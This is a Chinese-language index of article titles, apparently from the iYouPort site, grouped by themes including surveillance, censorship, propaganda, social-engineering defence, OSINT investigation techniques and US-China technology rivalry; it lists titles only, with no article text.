19. 泄漏文件揭露TikTok如何与美国警察合作维稳镇压 - iYouPort
20. 监视技术公司实际上 *受益于* 其人权丑闻的曝光 - iyouport
21. 社交媒体情报在加拿大 - iYouPort
22. 科技公司为什么追踪你？因为军工综合体会购买这些数据 - iYouPort
23. 科技寡头如何操纵学术界以延续隐性专制？ - iYouPort
24. 美国科技公司主动自我审查迎合印度的新审查法 - iYouPort
25. 解密文件：如何遥控大脑？ - iYouPort
26. 解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport
27. 这个富有的监视技术经销商浮出水面 …… 还有他那个900万美元WhatsApp骇客工具 - iYouPort
28. 这就是他们给我讲述世界末日的方式 - iyouport
29. 邪恶列表 — 您了解这些邪恶公司吗？ - iyouport
30. 难民营成了监视技术的试验场 - iyouport
31. 马克龙与网络巨头合作建立大规模监视 - iYouPort

15. 知识产权

1. 为什么说“知识产权”只是一种愚蠢的委婉说辞 - iyouport
2. 当疫苗遇到不平等的人类世界 …… - iyouport
3. 所谓的“知识产权”被宣传成了一种神话，但事实完全不是如此 - iyouport
4. 知识产权，而非知识产权垄断 - iyouport
5. 知识产权究竟应该是什么 - iyouport

16. 其他

1. "我如何在比特币上赚到100万美元……然后再次变

得一无所有" - iYouPort
2. 为什么人与人之间的距离越来越远？不仅仅是在线上 - iYouPort
3. 为什么你永远不应该使用 Quora - iYouPort
4. 买一把锤子就会能让你变成“恐怖分子” - iYouPort
5. 二等公民 - iYouPort
6. 互联网色情产业简史 - iYouPort
7. 互联网革命的下半部分会是什么样 - iYouPort
8. 人工不智能 - iYouPort
9. 你是中产阶级吗？ - iYouPort
10. 关于“1984”的几件事你可能还不知道 - iYouPort
11. 冠状病毒的情报始于去年9月？ - iYouPort
12. 别打了，自己人！ - iYouPort
13. 别让有钱人给你代言 - iYouPort
14. 加密货币骗局是如何操作的？ - iYouPort
15. 发泄的首选和选择性忽略 - iYouPort
16. 地狱般的付费墙：免费、开放和民主化的 Web 时代已成往事了吗？ - iYouPort
17. 好奇心是政治性的 - iYouPort
18. 如何以最低成本快速出版自己的电子书？ - iYouPort
19. 如何将演示文稿做成动画？ - iyouport
20. 如何强迫一个人说真话？ - iYouPort
21. 如何用手机制作定格动画 - iyouport
22. 如何离线使用维基百科？ - iYouPort
23. 如果你退出社交媒体，能读多少本书？ - iYouPort
24. 妄想未来主义 - iYouPort
25. 富人式爱心 - iYouPort
26. 想看免费电影吗？这里有 13 个合法的下载网站 - iYouPort
27. 愤怒文化 - iYouPort
28. 我们真的需要亿万富翁吗？ - iYouPort
29. 技术正在导致人体变形：你会变成什么样？ - iYouPort
30. 抓捕人道主义 - iYouPort
31. 揭示疯狂的逮捕 - iYouPort
32. 摩萨德的‘启蒙’ - iYouPort
33. 无人免疫的大清洗 - iYouPort
34. 暗杀计划 - iYouPort
35. 曝光间谍 - iYouPort

36. 朝鲜的"文化革命" - iYouPort
37. 残酷的圣诞玩具 - iYouPort
38. 水下活间谍 - iYouPort
39. 活在技术反乌托邦的世界 - 看门狗：军团再临 - iYouPort
40. 清除"无家可归者" - iYouPort
41. 现代版怪兽和个人英雄主义 - iYouPort
42. 瑞典不是社会主义？ - iYouPort
43. 生活如何变成了一场无止境的可怕竞争？精英政治的圈套 - iYouPort
44. 留学蜜罐 - iYouPort
45. 疯狂的血迹 - iYouPort
46. 穷人的屏幕 - iYouPort
47. 维基百科真的靠谱吗 - iYouPort
48. 网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任 - iYouPort
49. 至少有9种 Black Hat 社交媒体技术千万不要使用 - iYouPort
50. 致命的刹手 - iYouPort
51. 谁是全球最好的民主国家？ - iYouPort
52. 走向灾难的捷径 - iYouPort
53. 轻之文化：喜忧参半的人类革命 - iYouPort
54. 道德的贬值 - iYouPort
55. 金顶珠穆朗玛 - iYouPort
56. 阴谋论来自无知 - iYouPort
57. 面对死亡，不能只是耸耸肩 - iYouPort

6. IYP-守门人和斗智（3）

    1. 劝导术（完成）

        1. 警惕微妙的劝导术：“宣传即侵略”——埋下诱饵乖乖上钩 - iYouPort
        2. 警惕微妙的劝导术：一个能力排众议博取认同的“骗子”长啥样 - iYouPort
        3. 警惕微妙的劝导术：互联网上的认知吝啬鬼和理性化怪圈 - iYouPort
        4. 警惕微妙的劝导术：伪真相——新闻机构和读者皆需谨慎 - iYouPort
        5. 警惕微妙的劝导术：影响力强大的措辞和想象中

的“美女” - iYouPort
6. 警惕微妙的劝导术：恐惧诉求——埋下情绪 操控思想 - iYouPort
7. 警惕微妙的劝导术：政治宣传和大众劝导——你可能没意识到的信息陷阱 - iYouPort
8. 警惕微妙的劝导术：虚假帮派——效力最强的宣传攻势 - iYouPort
9. 警惕微妙的劝导术完结篇：反守为攻 - iYouPort

2. 社交工程-反操纵、反欺骗

1. “我永远正确”背后的动机 - iYouPort
2. 5种有效的社交工程启发术 - iYouPort
3. 一个人的疏忽将拖累所有人陷入危险 - iYouPort
4. 交流出现了什么问题（上）为什么总是难以说服他人？ - iYouPort
5. 交流出现了什么问题（下）来，实现沟通 - iYouPort
6. 交流出现了什么问题（中）网络舆论场的交流障碍和解决办法 - iYouPort
7. 人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题 - iYouPort
8. 人性的懦弱：社交工程攻击和行为操纵的便捷入口 - iYouPort
9. 侦查和欺骗：这里是社交工程攻击必备的技术工具 - iYouPort
10. 信息收集：决胜的根基 — — 技术和技巧依旧是关键（上） - iYouPort
11. 击败骗局 — 9个防御技巧 - iYouPort
12. 只有自己学会伪装才能识破伪装者 — — 社交工程学攻防知识（下） - iYouPort
13. 如何使用社交工程来攻击 2FA？ - iyouport
14. 如何克服社交焦虑 - iYouPort
15. 如何让一个人心甘情愿吐露重要信息？ — — 社交工程攻击“诱导的艺术” - iyouport
16. 如何让自己变成另一个人？ — — 社交工程学攻防知识（上） - iYouPort
17. 对话是门技术活：擅长对话的攻击者能操纵你做任何事 - iYouPort
18. 影响与操控不是一码事：如何将另一个人变成你想

要的样子？ - iYouPort
19. 挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践继续 - iYouPort
20. 摆脱操纵和宣传：28个长期技巧 - iyouport
21. 更糟糕的局面 - iYouPort
22. 现实生活中遍地都是可利用的信息：社交工程学侦查实践 - iYouPort
23. 用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport
24. 礼貌的偏执 - iyouport
25. 语言是强大的武器 — — 如何使用它？社交工程攻击演示继续：致命的诱导 - iYouPort

3. 关于真实的“媒体”-真相衰变

1. "新闻"如何取代了现实生活、威胁了民主？ - iYouPort
2. LR 新闻之死 — — 民主体制是否能修复的关键是什么？ - iyouport
3. 一个人的独立媒体 — — 对话虚无主义时代的理想主义狂人 - iYouPort
4. 为什么说记者的专业性和对安全知识的熟练掌握决定了民主的可持续性 - iYouPort
5. 你骂他，就是给他帮了大忙：一个最新的案例 - iYouPort
6. 停止“主流” - iYouPort
7. 全球新闻业都在倒退，民主正面临危机——怎么办？ - iYouPort
8. 到底什么是新闻？记者应该长什么样 - iYouPort
9. 在中国：六个片段勾画“媒体人”的侧面 - iYouPort
10. 大科技寡头是否真的关心新闻业？笑话 - iYouPort
11. 大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二） - iyouport
12. 如何理解愤怒的经济 - iyouport
13. 如何经营一个假新闻帝国？ - iYouPort
14. 媒体，你真的知道什么是事实吗？ - iYouPort
15. 媒体巨头和硅谷的武器化算法沉默异议 - iyouport
16. 媒体操控：战略性欺骗的重头戏 - iyouport
17. 守门人作为认知杀手 - iyouport
18. 引流暴政和生存困惑 - iYouPort

19. 强权能杀死记者，但无法杀死新闻 —— 2018 新报告出台，为什么全球新闻自由指数仍在下降？ - iYouPort
20. 澳大利亚对战硅谷的战略方向是对的，只是做得还不够 - iyouport
21. 熟悉的谎言 - iYouPort
22. 特朗普政府对媒体的战争不同于奥巴马时代，它已变得更加阴暗 - iYouPort
23. 独家：北京的政治宣传模式发生改变，或正对冲中国异议的弱点 - iYouPort
24. 用钱杀死民主[video] - iYouPort
25. 电子邮件被曝光：揭示记者主动接受情报部门的审查，这究竟是为什么？ - iYouPort
26. 皇帝的新愤怒：为什么传统媒体陷入困境 - iYouPort
27. 真正的新闻记者是人民的代理人，而不是权力的代理人 - iYouPort
28. 真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？ - iYouPort
29. 自我审查是一种信誉自杀 - iYouPort
30. 该死的快讯 - iyouport
31. 通过最新曝光的谎言体验主流媒体的政治宣传 - iYouPort
32. 现代新闻之愚蠢并非意识形态倾向性问题 (1) 政治真的没那么重要 - iyouport
33. 现代新闻之愚蠢 (2) — 四种最致命的倾向性 中国人更可怜 - iyouport
34. 现代新闻之愚蠢 (3) — 深度剖析四种致命倾向性，及其政治代价 - iyouport

4. 审查和自我审查-民主的支柱是如何歪掉的

    1. “审查制度是美国的葬礼，是我们的宪法和权利法案的终结” - iYouPort
    2. "纽约时报"承认，在稿件发布之前它会主动接受政府的审查 - iYouPort
    3. ⚠ 言论审查“六骑士”之一：假新闻，正在侵蚀东南亚国家民主的灵魂 #fakenews - iYouPort
    4. 2021开门见血：垄断权力的灾难和直接行动的迫在眉睫 - iyouport

5. Six Fragments Sketch The Dark Side Of ‘Chinese Media Workers’ - iYouPort
6. TikTok 如何促进中国的外交政策目标 - iYouPort
7. 世界各地的政府都想要求互联网公司雇佣本地雇员，以方便把人关进监狱 - iyouport
8. 为什么说自我审查不是简单的恐惧而是更大问题的冰山一角？ - iYouPort
9. 从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？ - iyouport
10. 从冷战到反恐战争：专制 “解决方案” 带来的危害往往大于其表面上旨在应对的威胁 - iyouport
11. 从在线骚扰到线下逮捕：社交媒体被武器化针对异议人士，美国寡头漠不关心 - iYouPort
12. 信息末日启示录究竟有几个骑士？打击“假新闻”也成为变相审查的幌子 - iYouPort
13. 公私监视伙伴关系：10个国家使用加拿大的互联网内容过滤技术压制异议 - iYouPort
14. 在中国：六个片段勾画“媒体人”的侧面 - iYouPort
15. 在中国：内容创业者的背面 - iYouPort
16. 大部分审查并非如你平日的吐槽对象那般显而易见——为自由而战（二） - iyouport
17. 如何开始使用 Usenet，这里是最佳选择 - iYouPort
18. 如果全网封锁周小平？一个舆论热点或许能帮助中国社会更深层理解审查 - iYouPort
19. 威廉·巴尔和小熊维尼：中美的老大哥本性相差无几 - iYouPort
20. 媒体巨头和硅谷的武器化算法沉默异议 - iyouport
21. 政府的压力将透明度报告从言论自由的庆典变成了审查的庆典 - iyouport
22. 极少数人对多数人的嘴巴所做的事, 不会让您获得幸免 - iyouport
23. 社交媒体发帖被判刑十年：以“假新闻”为借口的扼杀异议行为触目惊心 - iYouPort
24. 第一次世界大战期间的审查制度和国家控制 - iYouPort
25. 虚伪的“言论自由” - iYouPort
26. 被监视噤声的作家：大数据时代的自我审查 - iYouPort
27. 跨国审查的闹剧表演 - iyouport
28. 逮捕、追踪和惩罚，全球"反谣言"行动地图 -

iYouPort
29. 限制基本人权本身就是法西斯主义 - iYouPort

5. 心理战和信息战

1. AS22 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
2. LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport
3. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
4. LR 看清信息战：2019全球有组织社交媒体操纵清单 - iyouport
5. 一个惊人的案例：积极的反政府抗议者居然是个假人 - iyouport
6. 为什么虚假信息令独裁政权变得更强大，令民主国家变得更脆弱？ - iyouport
7. 为何假消息反而被热传，当下的解决方案有什么错 - iYouPort
8. 人格暗杀和抹黑运动：谁在受益？ - iyouport
9. 信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听 - iYouPort
10. 在数字信息战时代，如何才能避免上当受骗？来，玩几个游戏 - iYouPort
11. 在线宣传战的结果 - iYouPort
12. 如何使用 Maltego 监测推特上的政府信息战 - iyouport
13. 如何分辨：机器人、僵尸网络和 trolls - iYouPort
14. 如何创建一个赚大钱的虚假信息业务？ - iyouport
15. 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
16. 如何在网上兜售谎言？ - 他们承诺可以"按照你的意愿改变任何现实" - iYouPort
17. 如何经营一个假新闻帝国？ - iYouPort
18. 守门人作为认知杀手 - iyouport
19. 宣传战的诡迹 - iyouport
20. 巨魔崛起：政府资助的网络水军正遍布全球 - iyouport
21. 廉价造假和深度造假，究竟哪个更可怕？ - iYouPort

22. 当恶意者掌握技术：信息战的未来究竟有多可怕？ - iYouPort
23. 当视频证据显示你杀人…… 全身DeepFake意味着什么？ - iyouport
24. 微妙的宣传 - iYouPort
25. 心理操纵的秘密："行为经济学"＋PR＝？ - iyouport
26. 所有信息都是战略性的：信息地缘政治 - iyouport
27. 操纵式宣传：五个过滤器和识别线索 - iyouport
28. 标签中的政治宣传 - iyouport
29. 检测和防止深度造假的新方法 - iYouPort
30. 武器化的社交媒体正在推动法西斯主义的爆发 - iYouPort
31. 电影电视究竟是什么？为什么稍有权势的人都想要审查控制文艺创作？ - iYouPort
32. 秘密宣传战网络 - iyouport
33. 第2部分：社交媒体战场、人工政治和逮捕 - iYouPort
34. 粗制滥造的图像和视频依旧不影响骗人，这是为什么？ - iYouPort
35. 纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？ - iYouPort
36. 网络水军如何不断操纵您在社交媒体上看到的内容 - iYouPort
37. 网络水军如何试图影响选举？ - iYouPort
38. 解密文件：科技产业巨头为什么能成为巨头？私有化间谍活动如何发动了认知战争？ - iyouport
39. 趣味心理战（推荐纪录片） - iYouPort
40. 追踪政府宣传战的内幕：跨平台网络分析的数字取证案例 - iYouPort
41. 选举运动的数字化斗争: 2020 Presidential Race - iYouPort
42. 骇客如何利用主流媒体愚弄大众？ - iYouPort

6. 战略性欺骗-识别和抵制

1. 反情报能力和思维模式 — 识别战略性欺骗的主要途径（6 - 上） - iyouport
2. 在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视 - iyouport

3. 媒体操控：战略性欺骗的重头戏 - iyouport
4. 我是如何上当受骗的？ - iYouPort
5. 报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因 - iyouport
6. 摆脱操纵和宣传：28个长期技巧 - iyouport
7. 辟谣往往无效除非自我批驳 — 识别战略性欺骗的主要途径（6 - 下） - iyouport
8. “让数据说话”只是个唬人的幌子：识破谎言（1） - iyouport
9. 如何把你的对手变成困兽：间谍心理战战术（1） - iyouport
10. 欺骗不是撒谎这么简单：对峙的艺术（1） - iyouport
11. 伟大的自欺 — 战略性欺骗的心理维度（2） - iyouport
12. 巧妙的威胁：间谍心理战战术（2） - iyouport
13. 数轴有鬼：用数据可视化撒谎很简单（2） - iyouport
14. 恶搞统计数据：小心媒体用统计忽悠人（3） - iyouport
15. 想象力、创造力和较量 — 欺骗与反欺骗的互动（3） - iyouport
16. 偏执的保密 — 欺骗的主要方法之一（4） - iyouport
17. 看起来专业不意味着正确：反知识的迷惑性（4） - iyouport
18. 编造概率和编造风险：欺骗者如何利用你的思维漏洞（5） - iyouport
19. 让你看见 — 欺骗的积极方法之二（5） - iyouport
20. 如何知道自己不知道什么：防骗战术（6） - iyouport

7. 社交工程-反操纵、反欺骗的副本

1. “我永远正确”背后的动机 - iYouPort
2. 一个人的疏忽将拖累所有人陷入危险 - iYouPort
3. 交流出现了什么问题（上）为什么总是难以说服他人？ - iYouPort
4. 交流出现了什么问题（下）来，实现沟通 - iYouPort

5. 交流出现了什么问题（中）网络舆论场的交流障碍和解决办法 - iYouPort
6. 人们为什么相信骗子？ - iYouPort
7. 人性弱点能摧毁一切防火墙：社交工程攻击实践，以及你必须在乎的问题 - iYouPort
8. 人性的懦弱：社交工程攻击和行为操纵的便捷入口 - iYouPort
9. 侦查和欺骗：这里是社交工程攻击必备的技术工具 - iYouPort
10. 信息收集：决胜的根基 — — 技术和技巧依旧是关键（上） - iYouPort
11. 击败骗局 — 9个防御技巧 - iYouPort
12. 只有自己学会伪装才能识破伪装者 — — 社交工程学攻防知识（下） - iYouPort
13. 如何使用社交工程来攻击 2FA？ - iyouport
14. 如何克服社交焦虑 - iYouPort
15. 如何让一个人心甘情愿吐露重要信息？ — — 社交工程攻击“诱导的艺术” - iyouport
16. 如何让自己变成另一个人？ — — 社交工程学攻防知识（上） - iYouPort
17. 对话是门技术活：擅长对话的攻击者能操纵你做任何事 - iYouPort
18. 影响与操控不是一码事：如何将另一个人变成你想要的样子？ - iYouPort
19. 挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践继续 - iYouPort
20. 摆脱操纵和宣传：28个长期技巧 - iyouport
21. 无人能免疫的脆弱性：抵御社交工程攻击的基础知识 - iYouPort
22. 更糟糕的局面 - iYouPort
23. 现实生活中遍地都是可利用的信息：社交工程学侦查实践 - iYouPort
24. 用“眼”识人：你想知道自己在一个“间谍”的眼中是什么样吗？ - iyouport
25. 礼貌的偏执 - iyouport
26. 语言是强大的武器 — — 如何使用它？社交工程攻击演示继续：致命的诱导 - iYouPort

8. 心理学和社会学

1. “我才是对的”：哲学如何帮助你解决确认偏误 - iYouPort
2. 中国式“思考”和行为方式的由来 - iYouPort
3. 为什么很多人感觉全世界的“傻13”都在互联网上？ - iYouPort
4. 为什么有些人觉得自己永远都是受害者？ - iYouPort
5. 你可能误会了的“暴力”和“非暴力” - iYouPort
6. 孤独之杀 - iYouPort
7. 投票心理学：行为成因分析 帮你抵制宣传的迷惑 - iYouPort
8. 特立独行的结果 …… 不合群有什么好处？ - iYouPort
9. 解释无法解释的行为心理学：当逻辑失败，迷信到来 - iyouport
10. 谎言的极简心理学和如何保护自己 - iYouPort
11. 诊疗笔记：求极权社会的心理阴影面积（1） - iYouPort
12. 信息分析心理学：局部一致的骗局和不确定性证据（2） - iYouPort
13. 极权社会的心理阴影：健康的人格、缺陷及缺陷的形成（2） - iYouPort
14. 信息分析心理学：因果认知中的偏见（3） - iYouPort
15. 极权社会的心理阴影：压抑的恶果和被误解的代偿（3） - iYouPort
16. 信息分析心理学：因果认知中的偏见（4） - iYouPort
17. 极权社会的心理阴影：物质主义的由来、恶意愚蠢和攻击性冷漠（4） - iYouPort
18. （5）如何释放隐藏的创造力 - iyouport
19. 极权社会的心理阴影：阻碍型性格和强迫性人格——社会角色的代偿可能（5） - iYouPort

9. 让你只想到我希望你想的东西

1. 发现你生活中的操纵者：在叙事矩阵的边缘（1） - iYouPort
2. 诱导和操纵他人的基本逻辑：让你只想到我希望想的东西（1） - iYouPort

3. 认知幻觉和各种谬论：你是如何被绕进去的？- 让你只想到我希望你想的事（2） - iYouPort
4. 什么样的人最容易被操纵：心理控制的状态是什么样的（3） - iYouPort
5. 您真的知道自己在做什么吗？：让你只想到我让你想的事（4） - iYouPort
6. 让你感到愧疚或无愧，你就会主动满足我更多：让你只想到我让你想的事（5） - iYouPort
7. 操纵者如何用描述转变你感知世界的方式：让你只想到我让你想的事（6） - iYouPort
8. 步步为营法，轻松改变他人的观点：让你只想到我让你想的事（7） - iYouPort

10. 让它民主-公民掌握真相的技巧和技术

1. "虚假" 照片如何扭曲视角形成误导 - iYouPort
2. 10个简单技巧 快速验证社交媒体热门视频的真伪 - iYouPort
3. 20个最好用的在线侦查工具和数据收集工具 #OSINT - iYouPort
4. ad.watch - 深入政治宣传的背后：关于要完成这项调查工作您应该知道的事 - iYouPort
5. AS22 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
6. 从跨平台跟踪到心理分析：社交媒体情报收集简易指南 - iyouport
7. 你的全能钥匙扣：作为一名公民调查者的基本脑图 - iYouPort
8. 你知道什么才是真正的*调查*吗？所谓的"起底"经常是骗人的 - iYouPort
9. 使用智能手机收集数据进行调查项目：简易指南 - iYouPort
10. 信息验证、社交媒体情报、追踪热点事件、冠状病毒趋势、隐私安全 …… 21个免费视频教程帮助您提高开源情报技能
11. 信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？#OSINT 技术 - iYouPort
12. 公民取证技巧：如何留住真相？ - iYouPort
13. 公民记者如何验证民间爆料视频的真实性？ - iYouPort

14. 到底什么是新闻？记者应该长什么样 - iYouPort
15. 千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法 - iYouPort
16. 在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报 - 完整指南 - iyouport
17. 如何从YouTube视频中提取音频、确切的上传时间和缩略图？
18. 如何使用 InVid-WeVerify：数字信息验证的 "瑞士军刀" - iYouPort
19. 如何使用 Maltego 监测推特上的政府信息战 - iyouport
20. 如何使用数字技巧在线验证中东冲突中的战斗伙伴关系 #开源调查 - iYouPort
21. 如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？ - iYouPort
22. 如何发现社交媒体上的机器人账户？- 12种方法 - iyouport
23. 如何安全地留住证据：给真相的记录者一些技术技巧建议 - iYouPort
24. 如何对视频进行开源情报调查和信息验证：推荐好用的工具 - iyouport
25. 如何快速找到一个人的电子邮件地址？：5个简单的方法 - iYouPort
26. 如何快速找到你想要的东西：追踪数字证据的小技巧 - iYouPort
27. 如何挖掘机器人水军的幕后推手？ - iYouPort
28. 如何让模糊图像变清晰？- 开源情报初级处理工具 - iYouPort
29. 如何迎接更多的“巴拿马文件”？ - iYouPort
30. 如何通过阴影分析检测社交媒体上被篡改的图像 - iyouport
31. 小信息大故事：利用这些工具搜集散落在互联网上的零碎信息 - iYouPort
32. 当吹哨记者遇到黑客… - iYouPort
33. 您的所有个人数据都是政治数据：走向民主之前需要了解的事 - iyouport
34. 手工数据可视化：让您的调查和行动倡导更吸引人 - iyouport
35. 技巧：信息筛选和垃圾识别 —— 互联网人的基本功 - iYouPort

36. 拍摄取证 2：详述步骤和具体技巧 - iYouPort
37. 揭露假记者：一个"深度造假"信息战的案例，提醒您旧有的验证技巧正在过时 - iYouPort
38. 政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南 - iyouport
39. 构建自己的吹哨平台：在树莓派上运行OnionShare匿名投递箱 - iyouport
40. 深圳遭遇台风的 DragonAir 波音 737 的视频是假的，这里是为什么 - iYouPort
41. 深度造假真的是一场真相已死的危机吗？我们如何化解这场危机？ - iYouPort
42. 真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系 - iYouPort
43. 社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？ - iyouport
44. 社交网站上进行新闻收集和监视的基本指南 - iyouport
45. 私人威胁模型 - iYouPort
46. 突发事件来了，如何进行全面的视频信息采集？#OSINT - iYouPort
47. 给真相爱好者的随身小工具：调查工具包简版 - iYouPort
48. 虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？#OSINT - iYouPort
49. 虚假信息鉴别工具箱：如何验证图片和视频的真伪？ - iYouPort
50. 裁剪图像的方式可以改变一切 - iyouport
51. 让它民主：在真相事业中构想未来图景（上） - iyouport
52. 让它民主：替代媒体作为抗争之源（下） - iyouport
53. 调查记者如何从社交媒体上挖掘情报？
54. 追踪政府宣传战的内幕：跨平台网络分析的数字取证案例 - iYouPort
55. 追踪网络水军团队：如何识别机器学习制造的假人脸 - 案例 - iyouport
56. 追踪调查的技巧：如何将EXIF数据保留在WhatsApp中 - iyouport
57. 面向大众的 “面部识别” 技术：Yandex - iyouport
58. 验证在线信息真伪的简单思路

59. 验证在线信息真伪的简单思路 - iYouPort
60. 高级运算符辅助开源调查：巧用搜索引擎挖掘情报 #OSINT - iYouPort
61. 当你手握真相：最基本的防护知识(1) - iYouPort
62. 针对人的追踪调查：开源情报思考方法（1） - iYouPort
63. 观察追踪者的思考方式：挖掘推特情报的基础教程（2） - iYouPort
64. （3）您知道该如何培养和维持信任吗？- 管理信息源的有效方法：简易指南 - iyouport
65. 您的工作应成为社会变革的动力：公民调查指南（7） - iYouPort
66. （12）到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算 - iyouport

11. 公民调查指南-不再吃瓜

    1. 挖掘数字图像：安全地自动批量提取位置数据 - iyouport
    2. 不再吃瓜：把你的”围观”变成利器 — 公民调查指南（1） - iyouport
    3. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？ - iYouPort
    4. 如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1） - iyouport
    5. 推荐一些好用的音频转录工具：公民调查指南（2） - iyouport
    6. 你的对话容易出现哪些错误？ — 应该说的和不应该说的话：公民调查指南（4） - iyouport
    7. 套话的战术：利用情感，但不要被情感所利用 — 公民调查指南（5） - iyouport
    8. FBI同款调查技巧 — 公民调查指南（6） - iyouport
    9. 您的工作应成为社会变革的动力：公民调查指南（7） - iYouPort
    10. 未经验证则无效：从挖掘好的证据到整体安全 - 公民调查指南（8） - iyouport

12. 为什么视而不见

    1. 人们只会看到自己想要看到的东西：为什么视而不见（1）- 您知道该往哪看吗 - iYouPort
    2. 谈话不仅仅是传递信息：为什么视而不见（2）- 强调 "您" 的利益 - iYouPort

13. 开始调查

    1. 保持敏锐需要一些技巧：开始调查（1）- 从嗅觉到行动力 - iYouPort
    2. 没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1） - iYouPort
    3. 发现不正常的活动：从追踪到验证的思考方式（2） - iYouPort
    4. 如何处理巴拿马文件那种规模的泄漏？：开始调查（2）- 介绍一些工具 - iYouPort
    5. 互联网信息生态很容易被操纵，信息战只是其中一少部分因素：从追踪到验证的思考方式（3） - iYouPort
    6. 如何跟踪离岸公司、如何确保信息正确：开始调查（3） - iYouPort
    7. 突发事件中需要注意的东西：从追踪到验证的思考方式（3） - iYouPort
    8. 从可疑信号开始：从追踪到验证的思考方式（4） - iyouport
    9. 验证图像和视频信息时您需要思考什么：从追踪到验证的思考方式（5） - iyouport
    10. 调查一个可疑网站的最简单方法：从追踪到验证的思考方式（6） - iyouport

7. IYP-高堡奇人的世界（4）

    1. 关于高堡奇人

        1. “下一个十年可能会更糟” - iyouport
        2. "中国式噩梦"在美国[Video] - iYouPort
        3. “人工智能”的中国军事 - iyouport
        4. "公民需要组织起来以摆脱中美高堡奇人的世界" - iYouPort
        5. “只有两个国家足以压制反叛”：AI, 大数据和反叛

的未来 - iyouport
6. “惊人的相似”[Video] - iYouPort
7. “我的手机在监视我，于是我开始追踪监视者” - iyouport
8. "自己的 WhatsApp"？ - iYouPort
9. IBM和谷歌如何通过中国协助独裁政权的间谍行为？ - iyouport
10. LR 美国、中国和俄罗斯：暗网最强大的民族国家骇客 - iyouport
11. NSA 的阴云笼罩国际加密 —— 网络安全标准化会议在中国举行令人五味杂陈 - iyouport
12. TikTok并不是唯一一个扎根于中国的热门美国应用程序 - iyouport
13. 一臂之厉：美国企业正在帮助建立中国的奥威尔国家 - iyouport
14. 中国：一个正在出现的新帝国 - iyouport
15. 中国与两党关系的危险 - iyouport
16. 中国人的黑钱如何进入了美国政治系统？ - iyouport
17. 中国制造的监视设备一直在化妆成”美国制造”出售给美国政府和私人公司 - iyouport
18. 中国和美国，两个集中营 - iYouPort
19. 中国如何在不发射子弹的情况下 “赢得” 中东 - iyouport
20. 中国式的反乌托邦在西方 - iyouport
21. 中国症候群：当3Com遇到华为 - iyouport
22. 中国的 “新疆模式” 如何借鉴美国、英国和以色列的平叛战略 - iyouport
23. 中国的人在华盛顿：他在特朗普的沼泽中发了财 - iyouport
24. 中国的步态识别监视正式铺设："受美国的启发" - iYouPort
25. 中国的银河帝国，和高堡奇人 - iyouport
26. 中国科技寡头正努力为美国科技寡头提供支持 - iYouPort
27. 中国间谍组织如何获得了NSA恶意软件？ - iyouport
28. 中美之间并非“贸易战” - iYouPort
29. 中美谍战（一）：中央情报局特工是如何被北京发现的？ - iyouport

30. 中美谍战（二）：北京洗劫数据，美国消息来源在中国被封锁 - iyouport
31. 中美谍战第三部分：科技巨头公司是间谍活动的一部分 - iyouport
32. 中美量子军备竞赛意味着什么 - iYouPort
33. 为什么美国没有签署反对中国大规模监视的公开信 - iYouPort
34. 为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆 - iyouport
35. 主流刊物之一说：美国”需要”像中国那样的互联网审查 - iyouport
36. 乔治拜登的儿子投资中国'老大哥'监视技术 - iYouPort
37. 人工智能新冷战 - AI和5G如何变成一场噩梦 - iYouPort
38. 什么是 SS7，据称中国正用它来窥探特朗普的手机？ - iyouport
39. 从斯诺登到中国 … - iyouport
40. 他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕 - iyouport
41. 以谣言为武器？ - iYouPort
42. 入侵印度 - iYouPort
43. 全球互联网之战才刚刚开始 - iyouport
44. 全球大规模监视的崛起：我们是如何走到这一步田地的？ - iyouport
45. 全球暴行的同谋者 - iyouport
46. 加州让两家中国初创公司向公众提供 Robotaxis - iyouport
47. 华为之战的虚伪：技术的巴尔干化 - iyouport
48. 华为的海底版本？ - iYouPort
49. 又一家美国公司愿意支持中国政府的审查制度，然后呢？ - iyouport
50. 图解中国科技巨头 – 半壁“高堡奇人” - iyouport
51. 在拜登任期内，美国和中国会在西太平洋擦枪走火吗？ - iyouport
52. 威廉·巴尔和小熊维尼：中美的老大哥本性相差无几 - iYouPort
53. 尴尬的错误 - iYouPort
54. 当谈到数字威权主义时，中国是一个挑战，但不是

唯一的挑战 - iyouport
55. 彭博为献媚中国不惜余力 - iyouport
56. 所有信息都是战略性的：信息地缘政治 - iyouport
57. 技术超级碗CES正在帮助中国监视公司清理形象 - iyouport
58. 拜登政府在中国问题上会比特朗普”软”吗？ - iyouport
59. 数字专制与民主范式之战 - iYouPort
60. 数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极 - iYouPort
